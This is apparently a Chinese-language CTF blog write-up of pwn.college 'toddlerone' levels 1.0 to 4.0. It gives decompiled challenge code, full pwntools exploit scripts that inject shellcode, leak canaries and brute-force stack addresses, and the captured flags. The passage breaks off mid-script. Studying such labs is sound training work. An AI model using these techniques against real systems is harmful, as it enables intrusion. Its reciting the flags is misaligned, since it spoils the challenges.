# 前言 之前说啥来着?想嗨几天?害,我看我是停不下来了 _^-^_ ~_听着,陌生人,你还年轻, 千万别学我,天天厮混在这该死的二进制的海洋里面。带上朋友们一起加入吧 bushi_~ 嗯,这章是之前 [Memory Errors](/posts/memory-errors/) 和 [Shellcode Injection](/ posts/shellcode-injection) 的组合,需要我们充分利用之前所学的一切知识来组织攻击 链。 ~_感觉应该挺简单。我,CuB3y0nd,请求出征!_~ # Level 1.0 ## Information - Category: Pwn ## Description > Write a full exploit involving shellcode and a method of tricking the challeng e into executing it. ## Write-up ```c del={41, 46, 53, 61} collapse={1-37, 57-57, 65-80} __int64 __fastcall challenge(int a1, __int64 a2, __int64 a3) { int *v3; // rax char *v4; // rax _QWORD v6[3]; // [rsp+0h] [rbp-60h] BYREF int v7; // [rsp+1Ch] [rbp-44h] size_t nbytes; // [rsp+28h] [rbp-38h] BYREF _QWORD v9[3]; // [rsp+30h] [rbp-30h] BYREF char v10; // [rsp+48h] [rbp-18h] int v11; // [rsp+54h] [rbp-Ch] void *buf; // [rsp+58h] [rbp-8h] __int64 savedregs; // [rsp+60h] [rbp+0h] BYREF _UNKNOWN *retaddr; // [rsp+68h] [rbp+8h] BYREF v7 = a1; v6[2] = a2; v6[1] = a3; memset(v9, 0, sizeof(v9)); v10 = 0; buf = v9; nbytes = 0LL; puts("The challenge() function has just been launched!"); sp_ = (__int64)v6; bp_ = (__int64)&savedregs; sz_ = ((unsigned __int64)((char *)&savedregs - (char *)v6) >> 3) + 2; rp_ = (__int64)&retaddr; puts("Before we do anything, let's take a look at challenge()'s stack frame:") ; DUMP_STACK(sp_, sz_); printf("Our stack pointer points to %p, and our base pointer points to %p.n", (const void *)sp_, (const void *)bp_); printf("This means that we have (decimal) %d 8-byte words in our stack frame,n ", sz_); puts("including the saved base pointer and the saved return address, for a"); printf("total of %d bytes.n", 8 * sz_); printf("The input buffer begins at %p, partway through the stack frame,n", buf ); puts("("above" it in the stack are other local variables used by the function) ."); puts("Your input will be read into this buffer."); printf("The buffer is %d bytes long, but the program will let you provide an a rbitrarilyn", 25); puts("large input length, and thus overflow the buffer.n"); puts("We have disabled the following standard memory corruption mitigations fo r this challenge:"); puts("- the canary is disabled, otherwise you would corrupt it before"); puts("overwriting the return address, and the program would abort."); shellcode = mmap((void *)0x2247D000, 0x1000uLL, 7, 34, 0, 0LL); if ( shellcode != (void *)575131648 ) __assert_fail("shellcode == (void *)0x2247d000", "/challenge/toddlerone-leve l-1-0.c", 0x95u, "challenge"); printf("Mapped 0x1000 bytes for shellcode at %p!n", (const void *)0x2247D000); puts("Reading 0x1000 bytes of shellcode from stdin.n"); shellcode_size = read(0, shellcode, 0x1000uLL); if ( !shellcode_size ) __assert_fail("shellcode_size > 0", "/challenge/toddlerone-level-1-0.c", 0x9 9u, "challenge"); puts("This challenge has loaded the following shellcode:n"); print_disassembly(shellcode, shellcode_size); puts(&byte_374C); printf("Payload size: "); __isoc99_scanf("%lu", &nbytes); printf("You have chosen to send %lu bytes of input!n", nbytes); printf("This will allow you to write from %p (the start of the input buffer)n" , buf); printf( "right up to (but not including) %p (which is %d bytes beyond the end of the buffer).n", (char *)buf + nbytes, nbytes - 25); printf("Send your payload (up to %lu bytes)!n", nbytes); v11 = read(0, buf, nbytes); if ( v11 < 0 ) { v3 = __errno_location(); v4 = strerror(*v3); printf("ERROR: Failed to read input -- %s!n", v4); exit(1); } printf("You sent %d bytes!n", v11); puts("Let's see what happened with the stack:n"); DUMP_STACK(sp_, sz_); puts("The program's memory status:"); printf("- the input buffer starts at %pn", buf); printf("- the saved frame pointer (of main) is at %pn", (const void *)bp_); printf("- the saved return address (previously to main) is at %pn", (const voi d *)rp_); printf("- the saved return address is now pointing to %p.n", *(const void **)r p_); putchar(10); puts("Goodbye!"); return 0LL; } ``` ~_所以,我一眼就看出了你的所有漏洞,并用不到 10 秒想出了一套完整的针对你的攻击链 。你,不愧是一道纯正的开胃菜。_~ ~_握草了好下笔啊啊啊啊。_~下面讲正经的,shellcode 方面没遇到什么限制,程序在 `0x 2247D000` 专门为我们的 shellcode 分配了 `0x1000` 字节的 `rwx` 空间,我们随心日它 就完了。随后,有一个任意大小读,用它溢出 `buf` 并覆盖返回地址为 `0x2247D000` 即 可。easy peasy! ## Exploit ```python #!/usr/bin/python3 from pwn import ELF, asm, context, gdb, log, p64, pause, process, remote, shellc raft context(log_level="debug", terminal="kitty") FILE = "./toddlerone-level-1-0" HOST, PORT = "localhost", 1337 gdbscript = """ c """ padding_to_ret = b"".ljust(0x38, b"A") ret_addr = p64(0x2247D000) def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e nvp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT) def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}") def construct_payload(stage): stage_1 = shellcraft.cat("/flag") stage_2 = padding_to_ret + ret_addr if stage == 1: return asm(stage_1) elif stage == 2: return stage_2 else: log.failure("Unknown stage number.") def attack(target, payload): try: payload_size = f"{len(payload)}".encode() target.sendlineafter(b"Payload size: ", payload_size) target.recvuntil(b"Send your payload") send_payload(target, payload) response = target.recvall(timeout=5) return b"pwn.college{" in response except Exception as e: log.exception(f"An error occurred while performing attack: {e}") def main(): try: target = launch() payload = construct_payload(1) send_payload(target, payload) payload = construct_payload(2) if attack(target, payload): log.success("Success! Exiting...") pause() exit() except Exception as e: log.exception(f"An error occurred in main: {e}") if __name__ == "__main__": main() ``` ## Flag Flag: `pwn.college{YRuLYIKU6u9uASqOycoKQO17Ttn.0VOxMDL5cTNxgzW}` # Level 1.1 ## Information - Category: Pwn ## Description > Write a full exploit involving shellcode and a method of tricking the challeng e into executing it. ## Write-up 以后像这种子 level,如非必要,我都不会再贴 wp 了,因为和 main level 没太大区别, 无非就是删除了多余的提示信息,strip 了符号表和调试信息。 ## Exploit ```python #!/usr/bin/python3 from pwn import ELF, asm, context, gdb, log, p64, pause, process, remote, shellc raft context(log_level="debug", terminal="kitty") FILE = "./toddlerone-level-1-1" HOST, PORT = "localhost", 1337 gdbscript = """ c """ padding_to_ret = b"".ljust(0x78, b"A") ret_addr = p64(0x22A60000) def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e nvp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT) def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}") def construct_payload(stage): stage_1 = shellcraft.cat("/flag") stage_2 = padding_to_ret + ret_addr if stage == 1: return asm(stage_1) elif stage == 2: return stage_2 else: log.failure("Unknown stage number.") def attack(target, payload): try: payload_size = f"{len(payload)}".encode() target.sendlineafter(b"Payload size: ", payload_size) target.recvuntil(b"Send your payload") send_payload(target, payload) response = target.recvall(timeout=5) return b"pwn.college{" in response except Exception as e: log.exception(f"An error occurred while performing attack: {e}") def main(): try: target = launch() payload = construct_payload(1) send_payload(target, payload) payload = construct_payload(2) if attack(target, payload): log.success("Success! Exiting...") pause() exit() except Exception as e: log.exception(f"An error occurred in main: {e}") if __name__ == "__main__": main() ``` ## Flag Flag: `pwn.college{8kWI1BeY-FwKn2lIHdlSEEYHZ_G.0FMyMDL5cTNxgzW}` # Level 2.0 ## Information - Category: Pwn ## Description > Write a full exploit involving injecting shellcode and a method of tricking th e challenge into executing it. Note, ASLR is disabled! ## Write-up ```c del={8, 19, 52, 60} collapse={1-4, 12-15, 23-48, 56-56, 64-79} __int64 __fastcall challenge(int a1, __int64 a2, __int64 a3) { int *v3; // rax char *v4; // rax _QWORD v6[3]; // [rsp+0h] [rbp-50h] BYREF int v7; // [rsp+1Ch] [rbp-34h] size_t nbytes; // [rsp+28h] [rbp-28h] BYREF _QWORD v9[2]; // [rsp+30h] [rbp-20h] BYREF int v10; // [rsp+44h] [rbp-Ch] void *buf; // [rsp+48h] [rbp-8h] __int64 savedregs; // [rsp+50h] [rbp+0h] BYREF _UNKNOWN *retaddr; // [rsp+58h] [rbp+8h] BYREF v7 = a1; v6[2] = a2; v6[1] = a3; v9[0] = 0LL; v9[1] = 0LL; buf = v9; nbytes = 0LL; puts("The challenge() function has just been launched!"); sp_ = (__int64)v6; bp_ = (__int64)&savedregs; sz_ = ((unsigned __int64)((char *)&savedregs - (char *)v6) >> 3) + 2; rp_ = (__int64)&retaddr; puts("Before we do anything, let's take a look at challenge()'s stack frame:") ; DUMP_STACK(sp_, sz_); printf("Our stack pointer points to %p, and our base pointer points to %p.n", (const void *)sp_, (const void *)bp_); printf("This means that we have (decimal) %d 8-byte words in our stack frame,n ", sz_); puts("including the saved base pointer and the saved return address, for a"); printf("total of %d bytes.n", 8 * sz_); printf("The input buffer begins at %p, partway through the stack frame,n", buf ); puts("("above" it in the stack are other local variables used by the function) ."); puts("Your input will be read into this buffer."); printf("The buffer is %d bytes long, but the program will let you provide an a rbitrarilyn", 16); puts("large input length, and thus overflow the buffer.n"); puts("We have disabled the following standard memory corruption mitigations fo r this challenge:"); puts("- the canary is disabled, otherwise you would corrupt it before"); puts("overwriting the return address, and the program would abort."); puts("- the binary is *not* position independent. This means that it will be") ; puts("located at the same spot every time it is run, which means that by"); puts("analyzing the binary (using objdump or reading this output), you can"); puts("know the exact value that you need to overwrite the return address with. n"); puts("- the binary will disable aslr. This means that everything in memory wil l be"); puts("located at the same spot every time it is run, which means that by"); puts("analyzing the binary (using objdump or reading this output), you can"); puts("know the exact value that you need to overwrite the return address with. "); puts("Furthermore, you know the absolute address of everything on the stack.n" ); puts("- the stack is executable. This means that if the stack contains shellco de"); puts("and you overwrite the return address with the address of that shellcode, it will execute.n"); printf("Payload size: "); __isoc99_scanf("%lu", &nbytes); printf("You have chosen to send %lu bytes of input!n", nbytes); printf("This will allow you to write from %p (the start of the input buffer)n" , buf); printf( "right up to (but not including) %p (which is %d bytes beyond the end of the buffer).n", (char *)buf + nbytes, nbytes - 16); printf("Send your payload (up to %lu bytes)!n", nbytes); v10 = read(0, buf, nbytes); if ( v10 < 0 ) { v3 = __errno_location(); v4 = strerror(*v3); printf("ERROR: Failed to read input -- %s!n", v4); exit(1); } printf("You sent %d bytes!n", v10); puts("Let's see what happened with the stack:n"); DUMP_STACK(sp_, sz_); puts("The program's memory status:"); printf("- the input buffer starts at %pn", buf); printf("- the saved frame pointer (of main) is at %pn", (const void *)bp_); printf("- the saved return address (previously to main) is at %pn", (const voi d *)rp_); printf("- the saved return address is now pointing to %p.n", *(const void **)r p_); putchar(10); puts("Goodbye!"); return 0LL; } ``` 很明显的栈溢出,没开 ASLR,而栈又有 `rwx` 权限。那我们把 shellcode 注入到 `buf` 头,再覆盖返回地址为 `buf` 头的地址就好了。 ## Exploit ```python #!/usr/bin/python3 from pwn import ELF, asm, context, gdb, log, os, p64, process, remote, shellcraf t context(log_level="debug", terminal="kitty") FILE = "./toddlerone-level-2-0" HOST, PORT = "localhost", 1337 gdbscript = """ c """ ret_addr = p64(0x00007FFFFFFFD330) def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e nvp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT) def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}") def construct_payload(padding_size): shellcode = asm(shellcraft.chmod("f", 0o4)) shellcode_length = len(shellcode) shellcode += b"".ljust(padding_size - shellcode_length, b"A") shellcode += ret_addr return shellcode def attack(target, payload): try: os.system("ln -s /flag f") payload_size = f"{len(payload)}".encode() target.sendlineafter(b"Payload size: ", payload_size) target.recvuntil(b"Send your payload") send_payload(target, payload) target.recvall(timeout=5) with open("./f", "r") as file: content = file.read() log.success(content) except FileNotFoundError: log.error("The file './f' does not exist.") except PermissionError: log.error("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") def main(): try: target = launch() payload = construct_payload(0x28) attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}") if __name__ == "__main__": main() ``` ## Flag Flag: `pwn.college{8534tOGLdefUghR4lz5RbC5wYk5.0VMyMDL5cTNxgzW}` # Level 2.1 ## Information - Category: Pwn ## Description > Write a full exploit involving injecting shellcode and a method of tricking th e challenge into executing it. Note, ASLR is disabled! ## Write-up 这题没回显,所以问题就是返回地址是什么了。因为没开 ASLR,每次栈的基地址都是相同 的,所以这里我直接采用爆破的方式了。 ## Exploit ```python #!/usr/bin/python3 from pwn import ELF, asm, context, gdb, log, os, p64, process, remote, shellcraf t, time context(log_level="debug", terminal="kitty") FILE = "./toddlerone-level-2-1" HOST, PORT = "localhost", 1337 gdbscript = """ c """ ret_addr = 0x7FFFFFFDE000 def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e nvp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT) def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}") def construct_payload(padding_size): shellcode = asm(shellcraft.chmod("f", 0o4)) shellcode_length = len(shellcode) shellcode += b"".ljust(padding_size - shellcode_length, b"A") shellcode += p64(ret_addr) return shellcode def attack(target, payload): try: os.system("ln -s /flag f") payload_size = f"{len(payload)}".encode() target.sendlineafter(b"Payload size: ", payload_size) target.recvuntil(b"Send your payload") send_payload(target, payload) target.recvall(timeout=5) try: with open("./f", "r") as file: content = file.read() log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") def main(): global ret_addr start_time = time.time() while True: try: target = launch() payload = construct_payload(0x48) if attack(target, payload): break ret_addr += 0x8 except Exception as e: log.exception(f"An error occurred in main: {e}") end_time = time.time() elapsed_time = end_time - start_time log.success(f"Total elapsed time: {elapsed_time:.2f} seconds.") if __name__ == "__main__": main() ``` ## Flag Flag: `pwn.college{IF2KSArBx1ONOOxBvejSZ5gUqc0.0lMyMDL5cTNxgzW}` # Level 3.0 ## Information - Category: Pwn ## Description > Write a full exploit involving injecting shellcode and a method of tricking th e challenge into executing it by utilizing clever payload construction. ## Write-up ```c ins={82-91} del={52, 60} collapse={1-48, 56-56, 64-78} __int64 __fastcall challenge(unsigned int a1, __int64 a2, __int64 a3) { int *v3; // rax char *v4; // rax __int64 v6; // [rsp+0h] [rbp-B0h] BYREF __int64 v7; // [rsp+8h] [rbp-A8h] __int64 v8; // [rsp+10h] [rbp-A0h] unsigned int v9; // [rsp+1Ch] [rbp-94h] int v10; // [rsp+2Ch] [rbp-84h] size_t nbytes; // [rsp+30h] [rbp-80h] BYREF void *buf; // [rsp+38h] [rbp-78h] _QWORD v13[11]; // [rsp+40h] [rbp-70h] BYREF int v14; // [rsp+98h] [rbp-18h] char v15; // [rsp+9Ch] [rbp-14h] unsigned __int64 v16; // [rsp+A8h] [rbp-8h] __int64 savedregs; // [rsp+B0h] [rbp+0h] BYREF _UNKNOWN *retaddr; // [rsp+B8h] [rbp+8h] BYREF v9 = a1; v8 = a2; v7 = a3; v16 = __readfsqword(0x28u); memset(v13, 0, sizeof(v13)); v14 = 0; v15 = 0; buf = v13; nbytes = 0LL; puts("The challenge() function has just been launched!"); sp_ = (__int64)&v6; bp_ = (__int64)&savedregs; sz_ = ((unsigned __int64)((char *)&savedregs - (char *)&v6) >> 3) + 2; rp_ = (__int64)&retaddr; puts("Before we do anything, let's take a look at challenge()'s stack frame:") ; DUMP_STACK(sp_, sz_); printf("Our stack pointer points to %p, and our base pointer points to %p.n", (const void *)sp_, (const void *)bp_); printf("This means that we have (decimal) %d 8-byte words in our stack frame,n ", sz_); puts("including the saved base pointer and the saved return address, for a"); printf("total of %d bytes.n", 8 * sz_); printf("The input buffer begins at %p, partway through the stack frame,n", buf ); puts("("above" it in the stack are other local variables used by the function) ."); puts("Your input will be read into this buffer."); printf("The buffer is %d bytes long, but the program will let you provide an a rbitrarilyn", 93); puts("large input length, and thus overflow the buffer.n"); puts("We have disabled the following standard memory corruption mitigations fo r this challenge:"); puts("- the stack is executable. This means that if the stack contains shellco de"); puts("and you overwrite the return address with the address of that shellcode, it will execute.n"); cp_ = bp_; cv_ = __readfsqword(0x28u); while ( *(_QWORD *)cp_ != cv_ ) cp_ -= 8LL; printf("Payload size: "); __isoc99_scanf("%lu", &nbytes); printf("You have chosen to send %lu bytes of input!n", nbytes); printf("This will allow you to write from %p (the start of the input buffer)n" , buf); printf( "right up to (but not including) %p (which is %d bytes beyond the end of the buffer).n", (char *)buf + nbytes, nbytes - 93); printf("Send your payload (up to %lu bytes)!n", nbytes); v10 = read(0, buf, nbytes); if ( v10 < 0 ) { v3 = __errno_location(); v4 = strerror(*v3); printf("ERROR: Failed to read input -- %s!n", v4); exit(1); } printf("You sent %d bytes!n", v10); puts("Let's see what happened with the stack:n"); DUMP_STACK(sp_, sz_); puts("The program's memory status:"); printf("- the input buffer starts at %pn", buf); printf("- the saved frame pointer (of main) is at %pn", (const void *)bp_); printf("- the saved return address (previously to main) is at %pn", (const voi d *)rp_); printf("- the saved return address is now pointing to %p.n", *(const void **)r p_); printf("- the canary is stored at %p.n", (const void *)cp_); printf("- the canary value is now %p.n", *(const void **)cp_); putchar(10); printf("You said: %sn", (const char *)buf); puts("This challenge has a trick hidden in its code. Reverse-engineer the bina ry right after this puts()"); puts("call to see the hidden backdoor!"); if ( strstr((const char *)buf, "REPEAT") ) { puts("Backdoor triggered! Repeating challenge()"); return challenge(v9, v8, v7); } else { puts("Goodbye!"); return 0LL; } } ``` 具体怎么打这题的话,我觉得光靠之前的 Memory Errors 和 Shellcode Injection 这两章 学到的知识应该还不够打通这题。主要问题出在如何返回到我们的 shellcode。这题本身是 有 ASLR 的,每次栈地址都不一样。程序唯一的一个 RWX 段又是我们的栈段,所以……我们 的 shellcode 只能放在栈上,那么怎么知道栈的地址呢?泄漏应该是泄漏不出来的,没有 格式化字符串漏洞。Nop Sled 感觉也不太行?我没试过,但是脑子里面简单过了一遍感觉 不太可能吧。唯有构造 ROP Chain 我觉得是可以的,不过如果真构建 ROP Chain 了那我还 要什么 shellcode 啊哈哈哈。所以有很大可能就是这题想考的技巧我没想到<s>_(也不排 除就是需要用 ROP Chain 也说不准)_</s> ,反正这里就先只贴个反编译结果了,要是哪 位师傅有想法的话欢迎在底下评论。我先去打 ROP 了,打完之后再回头继续打这章~ ~_反正别告诉我你要通过程序的回显来打……应该没这样的人吧……你要真通过回显打通了,那 3.1 你怎么办是吧哈哈哈。总之看回显很没意思,丧失了本来的意义。_~ > 过了十分钟…… 好的知道了,果然是我没想到……其实 rbp 也可以被泄漏出来不是吗,用它减去输入起始地 址,我们发现偏移是一样的,那构造 shellcode 的时候我们就用泄漏出来的 rbp 减去得到 的偏移地址,这就是返回地址了。然后,boom! boom 个鸟,忘记触发后门后再次调用 challenge 会创建新的栈帧了。不过这两个栈帧一定 是紧挨着的,所以我们的思路还是这样,这没问题。只不过计算的时候注意是用第一个栈帧 的 rbp 减去第二个栈帧的输入起始地址罢了。~_(我就说我这么完美的 payload 怎么可能 会打不通,果然是忘了什么……Alr, boom!)_~ ## Exploit ```python #!/usr/bin/python3 from pwn import ( ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft, ) context(log_level="debug", terminal="kitty") FILE = "./toddlerone-level-3-0" HOST, PORT = "localhost", 1337 gdbscript = """ c """ backdoor = b"REPEAT " padding_size = 0x68 backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoor trigger_length = str(len(backdoor_trigger)) padding_to_ret = b"".ljust(0x8, b"A") fixed_offset = 0x1170 def to_hex_bytes(data): return "".join(f"\x{byte:02x}" for byte in data) def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e nvp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT) def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}") def leak_data(target): try: target.sendlineafter(b"Payload size: ", trigger_length) send_payload(target, backdoor_trigger) target.recvuntil(backdoor) canary = b"x00" + target.recv(0x7) rbp = target.recv(0x6) log.success(f"Canary: {to_hex_bytes(canary)}nRBP: {to_hex_bytes(rbp)}") return [canary, rbp] except Exception as e: log.exception(f"An error occurred while leaking canary: {e}") def construct_payload(target, padding_size): canary, rbp = leak_data(target) rbp = int.from_bytes(rbp, "little") ret_addr = rbp - fixed_offset shellcode = asm(shellcraft.chmod("f", 0o4)) shellcode_length = len(shellcode) shellcode += b"".ljust(padding_size - shellcode_length, b"A") shellcode += canary shellcode += padding_to_ret shellcode += p64(ret_addr) return shellcode def attack(target, payload): try: os.system("ln -s /flag f") payload_size = f"{len(payload)}".encode() target.sendlineafter(b"Payload size: ", payload_size) target.recvuntil(b"Send your payload") send_payload(target, payload) target.recvall(timeout=5) try: with open("./f", "r") as file: content = file.read() log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") def main(): try: target = launch() payload = construct_payload(target, padding_size) attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}") if __name__ == "__main__": main() ``` ## Flag Flag: `pwn.college{IDpfJ24swVO_Q0TAY9ajONzKHTe.01MyMDL5cTNxgzW}` # Level 3.1 ## Information - Category: Pwn ## Description > Write a full exploit involving injecting shellcode and a method of tricking th e challenge into executing it by utilizing clever payload construction. ## Write-up 参见 [Level 3.0](#level-30)。 ## Exploit ```python #!/usr/bin/python3 from pwn import ( ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft, ) context(log_level="debug", terminal="kitty") FILE = "./toddlerone-level-3-1" HOST, PORT = "localhost", 1337 gdbscript = """ c """ backdoor = b"REPEAT " padding_size = 0x58 backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoor trigger_length = str(len(backdoor_trigger)) padding_to_ret = b"".ljust(0x8, b"A") fixed_offset = 0x1150 def to_hex_bytes(data): return "".join(f"\x{byte:02x}" for byte in data) def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e nvp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT) def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}") def leak_data(target): try: target.sendlineafter(b"Payload size: ", trigger_length) send_payload(target, backdoor_trigger) target.recvuntil(backdoor) canary = b"x00" + target.recv(0x7) rbp = target.recv(0x6) log.success(f"Canary: {to_hex_bytes(canary)}nRBP: {to_hex_bytes(rbp)}") return [canary, rbp] except Exception as e: log.exception(f"An error occurred while leaking canary: {e}") def construct_payload(target, padding_size): canary, rbp = leak_data(target) rbp = int.from_bytes(rbp, "little") ret_addr = rbp - fixed_offset shellcode = asm(shellcraft.chmod("f", 0o4)) shellcode_length = len(shellcode) shellcode += b"".ljust(padding_size - shellcode_length, b"A") shellcode += canary shellcode += padding_to_ret shellcode += p64(ret_addr) return shellcode def attack(target, payload): try: os.system("ln -s /flag f") payload_size = f"{len(payload)}".encode() target.sendlineafter(b"Payload size: ", payload_size) target.recvuntil(b"Send your payload") send_payload(target, payload) target.recvall(timeout=5) try: with open("./f", "r") as file: content = file.read() log.success(content) return True except FileNotFoundError: log.exception("The file './f' does not exist.") except PermissionError: log.failure("Permission denied to read './f'.") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") except Exception as e: log.exception(f"An error occurred while performing attack: {e}") def main(): try: target = launch() payload = construct_payload(target, padding_size) attack(target, payload) except Exception as e: log.exception(f"An error occurred in main: {e}") if __name__ == "__main__": main() ``` ## Flag Flag: `pwn.college{w1Gz9LGRK9kmwUD7TZnA3xcKN5j.0FNyMDL5cTNxgzW}` # Level 4.0 ## Information - Category: Pwn ## Description > Write a full exploit involving injecting shellcode, reverse engineering, and a method of tricking the challenge into executing your payload. ## Write-up ```c ins={80-100} del={50, 58, 77} collapse={1-46, 54-54, 62-73, 87-92} __int64 __fastcall challenge(unsigned int a1, __int64 a2, __int64 a3) { int *v3; // rax char *v4; // rax __int64 v6; // [rsp+0h] [rbp-A0h] BYREF __int64 v7; // [rsp+8h] [rbp-98h] __int64 v8; // [rsp+10h] [rbp-90h] unsigned int v9; // [rsp+1Ch] [rbp-84h] int v10; // [rsp+2Ch] [rbp-74h] size_t nbytes; // [rsp+30h] [rbp-70h] BYREF void *buf; // [rsp+38h] [rbp-68h] _QWORD v13[9]; // [rsp+40h] [rbp-60h] BYREF __int64 v14; // [rsp+88h] [rbp-18h] unsigned __int64 v15; // [rsp+98h] [rbp-8h] __int64 savedregs; // [rsp+A0h] [rbp+0h] BYREF _UNKNOWN *retaddr; // [rsp+A8h] [rbp+8h] BYREF v9 = a1; v8 = a2; v7 = a3; v15 = __readfsqword(0x28u); memset(v13, 0, sizeof(v13)); v14 = 0LL; buf = v13; nbytes = 0LL; puts("The challenge() function has just been launched!"); sp_ = (__int64)&v6; bp_ = (__int64)&savedregs; sz_ = ((unsigned __int64)((char *)&savedregs - (char *)&v6) >> 3) + 2; rp_ = (__int64)&retaddr; puts("Before we do anything, let's take a look at challenge()'s stack frame:") ; DUMP_STACK(sp_, sz_); printf("Our stack pointer points to %p, and our base pointer points to %p.n", (const void *)sp_, (const void *)bp_); printf("This means that we have (decimal) %d 8-byte words in our stack frame,n ", sz_); puts("including the saved base pointer and the saved return address, for a"); printf("total of %d bytes.n", 8 * sz_); printf("The input buffer begins at %p, partway through the stack frame,n", buf ); puts("("above" it in the stack are other local variables used by the function) ."); puts("Your input will be read into this buffer."); printf("The buffer is %d bytes long, but the program will let you provide an a rbitrarilyn", 70); puts("large input length, and thus overflow the buffer.n"); puts("We have disabled the following standard memory corruption mitigations fo r this challenge:"); puts("- the stack is executable. This means that if the stack contains shellco de"); puts("and you overwrite the return address with the address of that shellcode, it will execute.n"); cp_ = bp_; cv_ = __readfsqword(0x28u); while ( *(_QWORD *)cp_ != cv_ ) cp_ -= 8LL; printf("Payload size: "); __isoc99_scanf("%lu", &nbytes); printf("You have chosen to send %lu bytes of input!n", nbytes); printf("This will allow you to write from %p (the start of the input buffer)n" , buf); printf( "right up to (but not including) %p (which is %d bytes beyond the end of the buffer).n", (char *)buf + nbytes, nbytes - 70); printf("Send your payload (up to %lu bytes)!n", nbytes); v10 = read(0, buf, nbytes); if ( v10 < 0 ) { v3 = __errno_location(); v4 = strerror(*v3); printf("ERROR: Failed to read input -- %s!n", v4); exit(1); } printf("You sent %d bytes!n", v10); puts("Let's see what happened with the stack:n"); DUMP_STACK(sp_, sz_); puts("The program's memory status:"); printf("- the input buffer starts at %pn", buf); printf("- the saved frame pointer (of main) is at %pn", (const void *)bp_); printf("- the saved return address (previously to main) is at %pn", (const voi d *)rp_); printf("- the saved return address is now pointing to %p.n", *(const void **)r p_); printf("- the canary is stored at %p.n", (const void *)cp_); printf("- the canary value is now %p.n", *(const void **)cp_); putchar(10); printf("You said: %sn", (const char *)buf); puts("This challenge has a trick hidden in its code. Reverse-engineer the bina ry right after this puts()"); puts("call to see the hidden backdoor!"); if ( strstr((const char *)buf, "REPEAT") ) { puts("Backdoor triggered! Repeating challenge()"); return challenge(v9, v8, v7); } else { puts("Goodbye!"); puts("This challenge will, by default, exit() instead of returning from the" ); puts("challenge function. When a process exit()s, it ceases to exist immedia tely,"); puts("and no amount of overwritten return addresses will let you hijack its control"); puts("flow. You will have to reverse engineer the program to understand how to avoid"); puts("making this challenge exit(), and allow it to return normally."); if ( v14 != 0x49954B5EFDCB2A29LL ) { puts("exit() condition triggered. Exiting!"); exit(42); } puts("exit() condition avoided! Continuing execution."); return 0LL; } } ``` 很简单吧,令 `v14 == 0x49954B5EFDCB2A29` 才可以返回到我们的 shellcode。 ## Exploit ```python #!/usr/bin/python3 from pwn import ( ELF, asm, context, gdb, log, os, p64, process, remote, shellcraft, ) context(log_level="debug", terminal="kitty") FILE = "./toddlerone-level-4-0" HOST, PORT = "localhost", 1337 gdbscript = """ c """ backdoor = b"REPEAT " padding_size = 0x58 padding_to_v14_size = 0x48 backdoor_trigger = b"".ljust(padding_size - len(backdoor) + 1, b"A") + backdoor trigger_length = str(len(backdoor_trigger)) padding_to_canary = b"".ljust(0x8, b"A") padding_to_ret = b"".ljust(0x8, b"A") v14 = p64(0x49954B5EFDCB2A29) fixed_offset = 0x1150 def to_hex_bytes(data): return "".join(f"\x{byte:02x}" for byte in data) def launch(local=True, debug=False, aslr=False, argv=None, envp=None): if local: elf = ELF(FILE) context.binary = elf if debug: return gdb.debug( [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=e nvp ) else: return process([elf.path] + (argv or []), env=envp) else: return remote(HOST, PORT) def send_payload(target, payload): try: target.send(payload) except Exception as e: log.exception(f"An error occurred while sending payload: {e}") def leak_data(target): try: target.sendlineafter(b"Payload size: ", trigger_length) send_payload(target, backdoor_trigger) target.recvuntil(backdoor) canary = b"x00" + target.recv(0x7) 